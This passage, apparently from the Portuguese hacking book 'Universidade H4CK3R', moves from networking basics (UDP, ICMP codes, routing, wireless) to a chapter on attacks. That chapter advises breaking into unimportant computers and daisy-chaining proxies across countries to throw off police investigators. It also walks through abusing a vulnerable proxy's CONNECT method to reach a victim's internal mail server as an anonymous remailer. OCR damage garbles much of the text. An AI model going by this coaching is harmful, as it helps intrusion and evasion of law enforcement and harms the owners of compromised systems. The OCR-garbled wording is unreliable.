opes de estabilidade do TCP ainda so insuficientes e devem, portanto, ser
implementadas diretamente na aplicao.
O pacote UDP no possui nenhum dos campos de controle, seqncia e reconhecimento, nada disso. Como no possvel estabelecer uma conexo com o
TCp' pois no h meios de fazer o hadshake, dizemos que o protocolo
1172

1
Redes 11r

Universidade 2 Ano

UDP no orientado

a conexo. Ou, usando o jargo anglo-informatiqus,

ele

connectionless.
Voltando ao nosso streamming, um pacote UDP faltando significa uma manchinha qualquer na minha imagem em streamming,
que passa despercebida
pela rapidez com que outra imagem colocada no lugar. J o atraso provocado
por todas as verificaes do pacote TCP tornariam o vdeo extremamente
desagradvel de assistir. Um pacote UDP parece-se com este:

Porta UDP de Origem(16)


Tamanhodos dados(16)

Porta UDPde Destino(16)

Checksum(16)

Dados

V-se que o pacote UDP avaro em recursos de rede. Seu cabealho


apenas 8 bytes, em relao ao TCP que tem 20 ou mais.

tem

Protocolo ICMP
o pessoal que desenvolveu a famlia de protocolos TCP/IP no deu ponto sem
n. Uma das coisas mais bacanas para o controle e sinalizao de eventos e problemas nas redes IP o tal do Internet Control Message Protocol. Sua funo
enviar comandos simples a interfaces de rede e roteadores para que eles faam
alguma coisa ou respondam com seu estado.Alm de ser usado automaticamete
pelas interfaces e roteadores, uma caixa de ferramentas muito interessante
para o administrador resolver problemas da rede. Hackers tambm adoram os
recursos que o ICMP oferece para descobrir a topologia de nossa rede...
O ICMP um protocolo de nvel 3 (ups, deveramos t-Io colocado antes do
TCp, no acha? Bem, achamos que, didaticamente, ele ficaria melhor aqui). O
cabealho do ICMP literalmente o mesmo do Ip, mas no campo de protocolos, em vez do 6 do TCP ou o 17 do UDp, colocamos 1. No campo de dados do
pacote IP inserido mais um campo de controle, o chamado ICMP Type Field,
que identifica o tipo de mensagem que o ICMP vai transportar. Esses cdigos
tambm esto definidos pelo IETF na (adivinhe...) RFC1700 e mostrados na
tabela a seguir:

1173

] RedesII

I Universidade

H4CK3R I

~ O Echo Reply [RFC792]


~ 1 Unassigned UBP]
~ 2 Unassigned UBP]
~ 3 Destination Unreachable [RFC792]
~ 4 Source Quench [RFC792]
~ 5 Redirect [RFC792]
~ 6 Alternate Host Address UBP]
~ 7 Unassigned UBP]
~ 8 Echo [RFC792]
~ 9 Router Advertisement
[RFC1256]
~ 10 Router Se1ection [RFC1256]
~ 11 Time Exceeded [RFC792]
~ 12 Parameter Problem [RFC792]
~ 13 Timestamp [RFC792]
~ 14 Timestamp Reply [RFC792]
~ 15 Information Request [RFC792]
~ 16 Information Reply [RFC792]
~ 17 Address Mask Request [RFC950]
~ 18 Address Mask Reply [RFC950]
~ 19 Reserved (for Security) [Solo]
~ 20-29 Reserved (for Robustness Experiment) [ZSu]
~ 30 Traceroute [RFC1393]
~ 31 Datagram Conversion Error [RFC1475]
~ 32 Mobile Host Redirect [David Johnson]
~ 33 IPv6 Where-Are-You [Bill Simpson]
~ 34 IPv6 I-Am-Here [Bill Simpson]
~ 35 Mobile Registration Request [Bill Simpson]
~ 36 Mobile Registration Reply [Bill Simpson]
~ 37-255 Reserved UBP]

Os tipos de mensagens ICMP esto listados no formato:


~ Valor Mensagem

[Referncia].

Alguns dos tipos de mensagem precisam de parmetros para funcionar.


Outros, devolvem valores que informam o estado dos testes realizados. O campo
em que esses valores so guardados, logo aps o Service Type, chamado de Code
Byte. Alguns valores para code bytes importantes so:

11741
Redes11I

Universidade 2 Ano

Destination Unreachable

[RFC792]

Codes
O Net Unreachable
1 Host Unreachable
2 Protocol Unreachable
3Port Unreachable
4 Fragmentation Needed and Don't Fragment was Set
5 Source Route Failed
6 Destination Network Unknown
7 Destination Host Unknown
8 Source Host Isolated
9 Communication with Destination Network is
Administratively Prohibited
10 Communication with Destination Host is
Administratively Prohibited
11 Destination Network Unreachable for Type of Service
12 Destination Host Unreachable for Type of Service
5

Redirect
Codes
O Redirect
1 Redirect
2 Redirect
3 Redirect

11

[RFC792]

Datagram
Datagram
Datagram
Datagram

for the
for the
for the
for the

Time Exceeded

Network (or subnet)


Host
Type of SerVice and Network
Type of Service and Host
[RFC792]

Codes
O Time to Live exceeded in Transit
1 Fragment Reassembly Time Exceeded
12

Parameter Problem
Codes
O Pointer indicates the error
1 Missing a Required Option
2 Bad Length

[RFC792]

[RFC1108]

Procure as RFCs indicadas e estude o significado de cada um dos sinais e


cdigos. Vale a pena!
1175

I RedesII

1176

I Universidade

H4CK3R I

Laboratrio

de Redes

11

No captulo Redes I dtamos os equipamentos utilizadospara a montagem de uma


rede simples com dois computadores, usando um cabo de conexo cruzada, normalmente apelidado de "cabo cross". Nosso fOcoprindpa1 era a montagem de uma
rede domstica, sem o uso de equipamentos mais complexos como os hubs, bridges,
switches e roteadores, embora tenhamos visto algumas definies desses aparelhos.
Para a realizao de muitas das experincias sugeridas nos captulos a seguir,temos de preparar uma rede de testes um pouco mais elaborada. Ela deve ser, obviamente, isolada de sua rede de produo mas deve ter alguma ligao com a Internet.
As vantagens de ter um ambiente controlado para fazer seus testes so bvias:
~ No h perigo de danificar mquinas de produo ou de uso freqente;
~ Da mesma forma, sua rede corporativa estar segura;
~ Pode-se "brincar" vontade com as ferramentas e exploits mostrados;
~ Se voc quiser ser um black hat, possvel testar os ataques antes;
~ Montar uma pequena rede pode ser uma excelente higiene mental;
~ Ser possvel fazer campeonatos de Doom depois do "horrio de aula" ;-).
O hardware necessrio baratssimo. Pelo menos trs mquinas Pentium
133 ou superior, com 64 MB de RAMe 4 GB de espao em disco devem servir.
Mquinas que rodaro sistemas Unix para PC precisam de menos poder ainda
- velhos 486 ou mesmo 386 devem servir magistralmente. Cada uma das mquinas dever ter alguma placa de rede barata, mas que seja compatvel com
todos os sistemas operacionais que vamos usar. Essas mquinas podem ser
encontradas usadas por menos de R$ 200 cada nos "sucates" de informtica
existentes em praticamente todo o Brasil. Observe que nem todas as mquinas
precisam possuir monitores.
Para a rede, um hub tambm usado e barato deve servir. Como o desempenho
no ser problema aqui (muito pelo contrrio, quanto mais lenta a rede, melhor a troca de mensagens poder ser avaliada), qualquer hub, mesmo passivo,
servir perfeitamente. Retalhos de cabos de par tranado categoria 5 ou mesmo 3 podero ser encontrados no lixo das empresas ou comprados baratinho
nas mesmas lojas de sucata.
Todo esse hardware ligado em rede merece bons sistemas operacionais para
trabalhar. Guarde sua mquina mais parruda e instale nela vrias verses do
Windows, em multiboot: 98 SE,Me, 2000 e XP so excelentes pedidas. Aplique
nela todos os hotI1Xes e Service Packs disponveis. Essa mquina ser usada
para originar ataques por meio de ferramentas Windows e para sofrer ataques
destinados a mquinas atualizadas dessas plataformas.
Na outra mquina, instale um Windows NT 4, um OpenBSD, um FreeBSD 4.5
e um Linux com opo de kemel2.2 e 2.4. No instale nenhum service pack ou
atualizao nela. Essa ser a "coitada".
1
Redes 11[

Universidade 2 Ano

Na mquina mais fraquinha, instale as verses mais atualizadas possveis do


Linux com kernel 2.4 e OpenBSD. Ser sua origem de ataques Unix. Os Unix
enxutos para PC se do bem em mquinas antigas.
Por ltimo, vamos estabelecer uma conexo com a Internet. Uma no, quatro.
Precisamos configurar as duas mquinas seguras como gateways de uma conexo de alta velocidade, portanto ambas tero duas placas de rede. O roteador
de acesso rpido poder ser "plugado" na mquina que dever prover o acesso
para aquele teste.
Como vamos brincar de War Dialers, precisamos tambm de modems de
linha discada. Cada computador dever ter o seu. O diagrama desta rede um
pouco complicada ficaria assim:

Linha
Telefonica

Windows

Coitada

Unix

Barramento do Hub

O material necessrio , ento:


- 3 computadores Pentium 133 ou 486
com memria e disco apropriados;
- 2 modems discados;
- 5 placas de rede;
- 1 hub lOBaseT barato;
- Cabos UTP cat 3 ou melhor;
- Sistemas operacionais indicados.
Se forem usados cabos e placas coaxiais, ser possvel descartar o hub, mas a
rede no ser mais facilmente expansvel. Isso interessante pois, no futuro,
pode-se montar um cluster com diversos 386 adquiridos no lixo e que, juntos,
formam um supercomputador respeitvel para quebrar senhas.
Como bnus, no fim deste captulo recolhemos algumas informaes sobre
tecnologias de Internet que podem ser de interesse. apenas uma referncia
rpida: h literatura mais elaborada disponvel na Internet e em bons livros.
1177
] Redes II

I Universidade

H4CK3R

Roteamento
Para que o roteador possa direcionar os dados pelos diferentes caminhos
entre as redes interligadas, eles utilizam os chamados Protocolos de
Roteamento. Alm disso, os dispositivos tambm vm dotados de uma tabela de roteamento, responsvel por identificar as rotas que sero seguidas
por datagramas. Caso o roteador no conhea o caminho pelo qual o
datagrama deve passar, ele o envia para um roteador listado como default
gateway (caminho padro) para de l prosseguir seu caminho.
O protocolo de roteamento age de duas formas, informando o menor
caminho, o que no significa que esse seja o melhor, ou ento informando
o melhor, que nem sempre o menor. Grande parte das vezes, o melhor
caminho o menos congestionado, uma vez que os menores podem estar
lidando com muitas requisies ao mesmo tempo. Dentre os protocolos
de roteamento, ficaremos com os ligados ao TCP/IP, que o mais utilizado, falaremos do OSPF (Open Shortest Path First) e do RIP (Routing
Information Protocol).
OSPF
O OSPF um protocolo aberto que baseado no link utilizado pelo TCP/lP.
Ele capaz de testar o estado dos outros roteadores conectados por meio de
uma mensagem chamada "hello", que enviada para cada um, e se o roteador
contatado estiver funcionando ele retoma uma mensagem positiva; a falta de
resposta significa que o equipamento est fora do ar. Alm disso, tambm possui o roteamento baseado no tipo de servio, que escolhe a melhor rota para o
datagrama baseado na prioridade do datagrama em questo.
O cabealho OSPF formado por:
Verso do protocolo;
Verso
Tipo - Tipo da mensagem que pode ser: hello, descrio do banco de dados,
pedido do estado do link, atualizao do estado do link, conftrmao do estado
do link;
Informa o endereo IP do roteador que est
IP do roteador de origem
enviando a mensagem;
rea - At em que rea a mensagem se refere (no OSPF as redes podem ser
divididas em reas);
Checksum: Checksum da mensagem;
Tipo de autenticao - Informaes sobre a senha;
Caso haja senha.
Autenticao

RIP
O RIP faz com que os roteadores enviem suas tabelas de roteamento de 30
em 30 segundos para os outros roteadores, fazendo dessa forma uma atualiza-

1178 I
Redes

11 r

Universidade 2 Ano

o constante de suas tabelas baseado nas de outros roteadores. Um dos maiores problemas encontrados nesse protocolo que ele defme o caminho a ser
percorrido baseado na distncia at o receptor, sem levar em conta as condies e desempenho da rota a ser percorrida.
As mensagens RIP possuem os seguintes elementos:
Comando - Usado para identificar se a mensagem um pedido ou uma
resposta;
Verso - Informa a verso do protocolo;
Reservado
H diversos campos marcados como reservados, e todos eles
so preenchidos com zeros;
Protocolo
- Informa qual foi o protocolo utilizado para gerar o

endereamento;

Endereo IP - Diz qual o IP da rede cuja distncia est sendo informada


atravs da mensagem;
Distncia Informa a distncia at a rede no campo do endereo IP.

Internet
Em 1969, nascia a Internet. Essa pode ser considerada uma das histrias mais
contadas no mundo digital, mas nunca demais relembrar a origem de um dos
grandes frutos da humanidade. A inteno era ligar os laboratrios de pesquisa
norte-americanos da ARPA(Advanced Research Projects Agency), visando estabilidade de todo o sistema caso algo acontecesse a um dos seus terminais.
Podemos dizer ento que mais um avano da humanidade nasceu ligado s
intenes militares, tudo por causa da guerra fria.
Aos poucos, a rede foi se expandindo para universidades e laboratrios, e
com o tempo acabou ganhando o mundo. No existe um lugar central onde a
Internet esteja localizada, so mais de 40 mil redes espalhadas ao redor do
globo, todas elas baseadas no protocolo TCP/lP. No foi toa que ele se tomou
to popular, como dissemos antes.
A Rede Mundial de computadores, tambm chamada de WWW (WorldWide Web),
formada por redes de alta capacidade, que por sua vez esto conectadas a computadores poderosos conhecidos como Backbones, com alta largura de banda.
Discutir os componentes da Internet seria como discutir o prprio protocolo TCP1IP,e j que o estudamos no captulo Redes I, aconselhamos o leitor a dar
uma olhada em termos como FTp'HTTP,DNS, entre outros que l esto descritos. Esses so os termos mais usados na grande Rede.

Sub-Redes
Uma rede baseada em TCP/lP pode ser dividida em redes menores para que
haja a possibilidade de criar domnios de difuso menores, e assim utilizar
melhor os recursos disponveis. Elas so conhecidas como sub-redes ou redes

1179 I

] Redes 11

I Universidade

H4CK3R

segmentadas. Essas redes se utilizam apenas de um roteador IP. Sendo assim,


cada sub possui apenas uma identificao. A rede teria um nmero ftxo de IP,
como 192.168.10.0, e todas as mquinas compreendidas dentro dela teriam
IPs baseados nesse nmero, por exemplo:
IP da rede: 192.168.10.0
IPsintemos:

192.168.10.1, 192.168.10.2, 192.168.10.3...

Alm disso, as mscaras de sub-rede foram criadas para auxiliar na identificao das mquinas na rede. Voc pode encontrar mais informaes sobre elas
no captulo de Redes I, em TCP1IP.

Redes Wireless
Rdio
Sistema utilizado primordialmente em redes pblicas, dada a falta de segurana em suas transmisses. necessrio que antenas estejam instaladas dentro do
alcance de transmisso, mas nada impede algum (hackers, talvez) de instalar
uma antena para a captao desses dados, que, se no estiverem criptografados
adequadamente, podero ser utilizados para outros fms que no os esperados.
Uma de suas grandes vantagens que sua operao feita na freqncia de
2,4 GHz, considerada de uso pblico, e dessa forma no h necessidade de
autorizao de rgos governamentais para sua utilizao.
Uma outra forma de transmisso de dados por rdio conhecida como transmisso direcional. Ela feita por meio de antenas parablicas, mas estas devem
estar bem alinhadas, pois qualquer obstculo ou desvio pode comprometer
seriamente a conexo.

IEEE 802.11
Foi o padro criado para sanar o problema da falta de padronizao existente entre os fabricantes de tecnologia de rdio, pois no havia compatibilidade
entre os diferentes produtos, impedindo assim a comunicao entre as redes.
Ele utiliza um esquema conhecido como Carrier Sense Multiple Access with
Collision Avoidance (CSMNCA). O transmissor faz um teste inicial e logo em
seguida sincroniza as mquinas para que no haja conflitos ou colises na
transmisso dos dados.

InfravermeLho
A utilizao do infraverme1hq para a comunicao sem fto tem sua aplicao
voltada mais para redes locais.' Seu alcance est restrito a um ambiente pequeno e totalmente sem obstculos, pois o espectro de luz no pode atravess-Ios.
1180

Redes11[

Universidade 2 Ano

Bluetooth
o Bluetooth considerado como uma rede sem fio de baixo custo, mas que
infelizmente possui baixo alcance. Sua propagao feita a partir de sinais de
rdio de alta freqncia e sua versatilidade permite a conexo de vrios aparelhos que vo desde eletrodomsticos at laptops. Essa tecnologia foi criada a
partir da iniciativa da Ericsson Mobile Communication, em 1994, para explorar a capacidade da interface de rdio em seus aparelhos. Em 1998 nasceu o
SIG (Bluetooth Special Interest Group). O sistema utiliza uma freqncia de
at 2,4 GHz, com uma taxa de transmisso de aproximadamente 1 Mbps, com
distncia mxima de dez metros.
GSM
O Global System for Mobile Communications um padro para telefonia de
arquitetura aberta mvel utilizado na Europa e que j est se espalhando pelo
mundo. Ele opera na freqncia de 900 MHz, especificada pelo European
Telecommunications Standards Institute (ETSI).Atualmente, a tecnologia empregada j est na sua terceira gerao, a qual veremos a seguir:
2,56
Nvel intermedirio entre a 2G e a 3G, permite a conexo de banda larga com
celulares e PDAs.Alm disso, oferece uma gama de servios que tornaram esta
tecnologia muito mais atrativa, como mensagens de texto instantneas e servios de localizao.

36
Terceira gerao da tecnologia GSM. Suas aplicaes esto voltadas para o
acesso direto Internet com banda larga, transformando assim o telefone mvel em uma plataforma completa para a obteno de dados e servios na
Internet; alm disso, h estudos sobre sua utilizao para comrcio mvel. Isso
significa efetuar compras em mquinas automticas e lojas utilizando o aparelho celular. Pode operar em freqncias de 1,9 GHz a 2,1 GHz.

WiFi
WiFi a abreviatura para o termo Wireless Fidelity, da WECA (Wireless
Ethernet Compatibility Alliance), que utiliza o protocolo conhecido como IEEE
802.11b.

1181 I
] Redes
I1

Vulnerabilidades

Captulo
'Ves gens esc/aves, chansons, chants &
requestes, Captifs par Princes, &
Seigneurs aux prisons. A ! advenir par
idiots sans testes,
Seront receus par divins oraisons ': i

Nostradamus,
Centria I, 14a
quadra, aprox. 1555

1 Do povo escravizado, canes, cantos e perdidos/Cativos por prncipes


e lordes nas prises: / No futuro, por tais idiotas acfalos / Esses (perdidos)
sero tomados como oraes divinas.

I Universidade

H4CK3R I

medida que evolumos em nossos estudos sobre as fraquezas dos sistemas


de informao, tomamo-nos mais ousados e confiantes. Este livro, mimetizado
em curso superior, foi estruturado para que qualquer pessoa com conhecimento bsico em informtica pudesse chegar a entender alguma coisa sobre segurana e redes. Por isso mesmo, at aqui, o leitor foi tratado quase que como um
leigo. Para no "ofender" os leitores com conhecimentos tcnicos mais avanados, colocamos no CD todas as matrias que normalmente seriam consideradas
pr-requisito para entendimento do que realmente interessa. As matrias consideradas diretamente ligadas com hackerismo (invaso, engenharia social, etc.)
ficaram no livro impresso. A partir de agora, consideraremos que os conceitos
esto assimilados ("matria dada") e passaremos a tpicos mais "pesados".
Vejamos o que temos at agora. Falando diretamente sobre hackers e inva-

ses, tivemos os seguintes captulos:


Captulo Zero

- Aula Inaugural

- Uma introduo ao ambiente normal-

mente chamado de hacker space ou digital underground.


Captulo 1 - Psicologia Hacker - Um pouco do modo de pensar dos habitantes desse mundo.
Captulo 5
informtica
Captulo 6
computador.

Captulo 7

- Fundamentos
- Engenharia

Jurdicos - Consideraes

Social - Obtendo

Vulnerabilidades
do computadores
pessoais.

- Agindo

informaes

legais sobre
ANTES de ligar o

como script kiddies e invadin-

Com tudo o que vimos at este captulo, podemos dizer que j nos igualamos
grande multido de script kiddies espalhados pelo globo. O leitor deve ter
notado que, em vez de falar de dezenas de ferramentas e explicar como cada
uma funciona, tentamos mostrar o modo como os kiddies trabalham e os locais
onde se pode encontrar tais ferramentas.
Novamente advertimos: nenhum livro, CD-ROM,FAQ ou site na Internet ensinar algum a ser hacker. um processo que requer estudo, pacincia, persistncia e abnegao. No presente captulo, veremos mais algumas tcnicas usadas pelos script kiddies, desta vez focando sites na Internet ou redes e sistemas
corporativos. Mas ao contrrio dos kiddies, voc saber exatamente o que est
fazendo, baseado nos conhecimentos adquiridos anteriormente. Outra coisa que
poder ser notada: ferramentas de "hacking" para Windows 9x so meros brinquedos. medida que as coisas vo ficando srias, apenas sistemas mais parrudos
como o Windows NT ou o Unix possuem condies de servir de base para
ataques, especialmente este ltimo.
11841
Vulnerabilidades 11[

Universidade 2 Ano

Em caso de dvida, recomendamos uma releitura dos captulos anteriores,


incluindo a execuo das experincias mostradas. O qu? Voc no fez nenhuma experincia prtica? Ora! Pare a leitura do livro por aqui s volte quando
terminar a lio de casa!

Navegando anonimamente
Os proxies fazem mais do que servirem de fIrewall e cache para redes internas acessarem Internet. Um computador atrs de um proxy fIca totalmente
escondido, e seu nmero IP no revelado. Para o computador que recebe a
conexo, o IP de origem dos pacotes que chegam todo do proxy.
Se um hacker conseguir acesso a um proxy qualquer para navegar na Internet
seus passos estaro cobertos. Esse proxy pode ser um servio pblico - h .
diversos proxies pblicos na Internet, alguns gratuitos, mas a maioria paga.
Pode ser tambm algum proxy particular que esteja mal confIgurado e aceitando relay de toda a Internet. Mesmo bem configurado, h falhas em alguns
softwares que permitem que hackers usem proxies alheios como escudo.
O outro lado da moeda tambm vlido. Um proxy um servio aberto em
uma porta TCP e, portanto, est sujeito a falhas. Um servio de proxy pode ser
a porta de entrada para a invaso da mquina e comprometimento de outros
servios antes "saudveis".

Proxies pblicos
Uma das formas de navegar sossegado pela Internet sem ser molestado utilizarse de um servidor pblico de proxy.Atrs desse servidor, seu IP fIca invisvel para
todos os sites da Internet: voc est a salvo dos vendedores de enciclopdias, dos
colecionadores de cookies e das investigaes do governo. Hackers que estejam
tentando atingi-Iotero apenas o IP do proxy. Como toda tecnologia pode tambm
ser usada para o mal, voc pode esconder-se atrs do proxy para originar ataques,
que sero registrados nos logs da vtima com um IP diferente do seu. A conexo
entre voc e o proxy pode ser criptografada com SSL- normalmente por meio de
um Secure Shell ou SSH - e a maioriados servidoresgarante que suas atividades
no sero registradas ou suas informaes redirecionadas a empresas que patrocinam o proxy. Parece seguro, no? Nem tanto.
Bem ou mal, o prprio proxy tem informaes a seu respeito. Mesmo que
haja proxies pblicos garantindo que voc no ser rastreado nem registrado
nos logs do servidor, alguns deles podem estar mentindo. Se voc causar algum
estrago na Internet, cedo ou tarde ser rastreado at o proxy. Basta um mandado judicial para que o responsvel pelo servidor abra seus registros Polcia
Federal. Ser preso seria questo de horas.
H vrias maneiras de tentar driblar esse inconveniente. A primeira uma
tcnica chamada daisy-chain proxying: invade-se um computador sem importncia, que usado para invadir um segundo, que usado para invadir um
1185

]Vulnerabilidades

11

I Universidade

H4CK3R I

terceiro. Entre cada um desses computadores usa-se um proxy, aumentando o


nmero de hosts intermedirios para seis ou mais e impondo uma dificuldade
extra para os investigadores, que tero de vasculhar nos registros de vrios
proxies at determinar a origem de cada um dos estgios. A vantagem desse
mtodo que independente de plataforma: voc pode usar mquinas Unix,
Windows, Mac ou qualquer outra que possua conectividade compatvel com o
servio proxy. Lembre-se de usar servidores diferentes e, preferencialmente,
geograficamel1te distantes. Se voc estiver no Brasil e quer invadir um sistema
nos Estados Unidos, seu primeiro proxy pode estar na Austrlia, o segundo no
Brasil mesmo e o terceiro na Europa. Incluir o Brasil na lista de proxies utilizados um "truque sujo" para confundir o investigador, que normalmente descarta a possibilidade de o atacante estar no mesmo pas do proxy investigado
.
("Ningum seria to burro...").
Alguns endereos de proxies pblicos:
www.publicproxyservers.com/
www.stayinvisible.com/
tools.rosinstrument.com/proxy

www.antiproxy.com/
netspy. ukrpack.net/
E, obviamente, seu buscador de Internet favorito (Google, All the Web), com
as palavras chave "public proxy", pode cuspir centenas de listas de servidores
pblicos disponveis. Instrues para configurar seu browser para utilizar um
desses servios podem ser encontradas na Ajuda dos prprios programas. Observe que h proxies para servios determinados, normalmente H1TP,Ffp e e-mail.
Se voc pretende usar um deles para um portscan ou mesmo um ataque, deve
antes disfarar os pacotes TCP/lP de seu ataque para que se paream com o
servio suportado e se passem pelo proxy.
Outra maneira de reforar o anonimato na Grande Rede, mais simples, mas
menos efetiva, usar programas que escolhem automaticamente o proxy de
uma lista e conectam-se a eles. Cada vez que o programa ativado, um servidor
escolhido aleatoriamente ou obedecendo a critrios predefinidos.Alguns mais
avanados so capazes de alternar entre proxies de tempos em tempos, pulverizando os rastros. O browser deve ser configurado para acessar o programa,
que roda no endereo de loopback ("localhost" ou 127.0.0.1), e deixar que o
programa cuide de encontrar um proxy seguro.
Um bom servio pago de proxy assistido por um programa-cliente o
Anonymizer (www.anonymizer.com). A verso mais bsica do servio custava,
em maro de 2003, US$ 49,90 mais impostos, e estava disponvel apenas para
Windows. Entre os recursos oferecidos, alm do proxy aleatrio com servidores pblicos, esto a criptografia de URLs, gerenciamento de cookies,
1186

I
Vulnerabilidades

11[

Universidade 2 Ano

bloqueio do web bug, apagamento automtico do histrico de pginas visitadas e uma


barra de ferramentas para o
Internet Explorer 6.
Alm dele, podemos destacar
o Anonymity 4 Proxy (www.
inetprivacy. com/a4proxy /).
Disponvel para todas as verses do Windows, possui uma
lista muito grande de proxies
pblicos,
e faz o gerenciamento de conexes a todos
eles. Possui diversas opes
que permitem associar zonas da Internet ou sites especficos a um ou mais
servidores
de proxy, anlise do trfego e protocolos
associados e
compartilhamento da conexo com uma rede local.
Outro digno de nota o Stealther, um software que oferece a possibilidade
de utilizar uma matriz de proxies pblicos para auto matizar o daisy-chain.

O Stealther pode ser encontrado em (www.photonosoftware.com/Stealther/


main. php::;?language=eng&reseller=9824).
Para a turma do Free Software existe o JAP - Java Anonymity and Privacy.
Como escrito em Java, funciona nas mais diversas plataformas que suportam
essa linguagem, incluindo Unix, Macintosh, OS/2 e Windows. O software pode
ser baixado em anon.inf.tu-dresden.de/ (o site est em alemo).
11871

]Vulnerabilidades

II

I Universidade H4CK3R I

o pessoal do Unix no foi esquecido. O


ProxyTools (proxytools.sourceforge.net)
um conjunto de ferramentas para desktop
e servidor que tambm permite navegar
anonimamente na Internet usando proxies
annimos. Ele foi especialmente desenvolvido para auxiliar os internautas de pases
que aplicam a censura na Internet, como
China, Burma e os pases islmicos (e, mais
recentemente, os Estados Unidos da Amrica). As ferramentas para mquinas-cliente
rodam exatamente da maneira que os. outros softwares listados acima: procuram e
encontram servidores proxy pblicos. H
ainda um daemon que pode rodar em um servidor Unix e desempenha a lmo de "proxy dos proxies". Dessa forma, o cliente no precisa ter nada instalado em seu computador, fugindo de batidas policiais e, principalmente, das
durssimas penas aplicadas aos infratores das leis de censura. Em alguns pases, essas penas podem incluir a execuo do infrator.
Outras ferramentas similares para Unix so o Bouncer (www.rOOt3d.org.uk)
e o ProxyFloppy (www.nameless.cultists.org).
Apesar de ser mais seguro que navegar de peito aberto, cuidado com os
proxies, especialmente os pblicos! Alguns so armadilhas da polcia, outros
so por natureza inseguros e pode haver, inclusive, servidores maliciosos, mantidos por crackers, para rastrear script kiddies e internautas incautos, visando
a us-Ios (principalmente seus IPs) como laranjas em ataques de spoofing. Por
isso mesmo, hackers experientes preferem invadir uma rede sem importncia
(pequenas empresas, escolas ou universidades) para usar seu proxy. Ou valerse de proxies mal configurados solta pela Internet.

Proxies privados
H diversas maneiras de invadir uma mquina rodando algum programa de proxy
e faz-Iaesconder-se da Internet. O mtodo para cada tipo de proxy depende de
sua verso e do sistema operacional no qual roda. Mas h algumas vulnerabilidades
que fimcionam em qualquer plataforma, pois so inerentes tecnologia e no
implementao da tecnologia por um determinado desenvolvedor.
Um desses casos o TCP Tunnel, uma maneira de encapsular pacotes TCP
dentro de outros para transport-Ios a salvo pela Internet. Essa tecnologia
muito usada para criar VPNs, ou redes privadas virtuais. Mas uma falha na
tecnologia pode dar a hackers espertos um proxy improvisado.
Essa
vulnerabilidade realmente antiga. Veja o que diz o FAQ do software Squid
(www.squid-cache.orglDoc/FAQ/FAQ-1.html).noitem
1.12:

1188 I
Vulnerabilidades II [

Universidade 2 Ano

"Desde a verso 2.5, o Squid suporta conexes SSL e trfego "tunelado" entre
clientes e servidores. Neste caso, o Squid pode fazer um relay dos bits
criptografados entre as duas extremidades da conexo.
Normalmente, quando seu browser encontra uma URL https, executa uma
das duas aes abaixo:
1 O browser abre uma conexo SSL direta com o servidor https;
2 O browser solicita a abertura de um tnel IP atravs do Squid usando o
mtodo CONNECT.
O mtodo CONNECT uma forma de tunelar qualquer conexo que passe
por um proxy de HTTP. O proxy no interpreta ou entende o contedo que
est sendo tunelado, apenas o repassa entre as duas mquinas envolvidas na
conexo. Para mais detalhes sobre tunelamento e o mtodo CONNECT, veja o .
internet draft "Tunneling TCP based protocols through web proxy servers"
(www: web-cache. com/W ri tings/ln terne t-Drafts/ draft -luotonen-web-proxytunneling-O1.txt) e a RFC2817 (ftp://ftp.isLedu/in-notes/rfc2817.txt)."
Veja a seguinte frase, retirada desse trecho do FAQ:"O proxy no interpreta ou
entende o contedo que est sendo tunelado, apenas o repassa entre as duas
mquinas envolvidas na conexo." Isso quer dizer que o proxy sequer verifica se
os dados esto criptografados ou no. Portanto, pode-se explorar essa
vulnerabilidade simplesmente usando o mtodo CONNECT para conectar-se a
um servidor, que pode ser tanto uma mquina na Internet como um servidor em
sua Intranet! Lembre-se de que o proxy pode estar rodando na mquina gateway,
que possui duas interfaces de rede (uma para a rede interna e outra para a rede
externa). Tomando posse do proxy, o invasor tem acesso rede interna, mesmo
que ela seja implementada com IPs reservados como 10.0.0.0. ou 192.168.0.0!!!
Que tal um exemplo prtico? Em um proxy vulnervel, nos conectaremos a
um servidor de e-mail interno e o usaremos como remailer. Considere as seguintes informaes:
~ IP do atacante: 200.230.xxx.yyy
~ Proxy vulnervel da vtima: 64. 131.aaa.bbb, "escutando" na porta 3128
~ Servidor SMTP interno da vtima: 192.168.1.11
Conecte-se ao proxy usando o velho e bom telnet (o exemplo usa o shell do
Unix, mas pode ser feito no Windows sem problemas, com emuladores de terminal e telnet como o TeraTerm ou mesmo o HyperTerminal, que vem "de brinde" com o SO):
$ telnet 64.131.aaa.bbb3128
Uma vez conectado, digite o seguinte comando:
CONNECT192.168.1.11:25/ HTTP/1.0
Se, como resposta, aparecer o banner do servidor, voc pode emitir comandos para enviar seus e-mails annimos (veja a prxima seo, "Anonymous
remailers", ainda neste captulo). Note que SMTP foi usado aqui apenas como
exemplo. Voc pode usar o mtodo CONNECT para qualquer servio: POp, FTP,

1189 I
I

Vulnerabilidades

11

I Universidade

H4CK3R I

HTTP,5MB/CIFS,Telnet novamente... Note ainda que, tunelando vrios proxies


em cadeia, possvel colocar vrios nveis de proxying em seus ataques.
A correo para este problema to simples quanto bvia: desligue o TCP
Thnneling no seu proxy. Se o tunelamento for absolutamente necessrio, no deixe
seu proxy conectado diretamente Internet. Instale-o em outra mquina e coloqueo atrs do firewall. Restringir as portas pelas quais se pode fazer o tunelamento,
deixando apenas as que realmente sero usadas, tambm uma boa sada.

Squid
O Squid, proxy server nmero um para amantes do Unix e do Software Livre,
tambm tem suas mazelas. Sites com Squid e regras de flrewalls mal conflgurados so um prato cheio para quem est procurando anonimato. Mas mesmo
sistemas perfeitamente conflgurados (e indiscutivelmente seguros do ponto de
vista do administrador) podem estar frgeis a ataques. Uma vulnerabilidade
recente (lwn.netNulnerabilities/4;;;;;;6) permite diversos ataques, entre eles:
~ Problemas com o protocolo Gopher permitem que menus malformados
causem problemas de segurana;
~ Os dois canais de comunicao FTP permitem que dados sejam extrados
ou inseridos, podendo forar o download de arquivos arbitrrios ou a execuo de comandos no servidor;
~ Falha na autenticao permite que usurios no cadastrados utilizem o proxy.
As trs falhas poderiam ser usadas para, alm da invaso do servidor no qual
o Squid estivesse rodando, forar o proxy a fazer relay de IPs no autorizados.
Exploits podem ser encontrados no Security Focus (www.securityfocus.com).
A correo simples: atualize seu Squid para a verso 2.4.STABLE7 ou superior. Mas como os administradores de rede por a so preguiosos (e a falha
relativamente nova, de novembro de 2002), possvel que voc encontre, por
muitos anos ainda, Squids com verses vulnerveis.

WinGate
O WinGate foi lanado em 1995 como um compartilhador de Internet para
redes domsticas. Simula um proxy/gateway por IP Masquerade e, pelo seu
preo baixo, foi muito popular nos EUA.Apesar de ser um produto j velhinho,
muita gente ainda o usa para compartilhar sua conexo de Internet com as
